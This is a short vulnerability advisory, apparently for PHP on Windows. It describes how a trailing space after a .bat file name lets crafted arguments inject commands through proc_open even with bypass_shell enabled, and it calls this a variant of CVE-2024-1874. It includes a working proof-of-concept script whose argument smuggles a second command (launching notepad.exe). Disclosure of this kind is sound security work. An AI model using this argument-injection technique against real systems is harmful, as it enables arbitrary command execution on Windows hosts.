Summary

same as CVE-2024-1874

due to the improper handling of command line arguments on Windows, maliciously crafted arguments can inject arbitrary commands even if the bypass_shell option is enabled.

Details

Add a space at the end of filename, others are the same as CVE-2024-1874

PoC

1. Save the following file as test.bat

echo hello

2. Save the following file as 1.php, notiece the space at the end of argv-filename

<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat ", "\"&notepad.exe"], $descriptorspec, $pipes, null, null, array("bypass_shell" => true));
proc_close($proc);

3. Run it with PHP and confirm that notepad.exe is popped up.

Impact

Malicious command line arguments in windows platform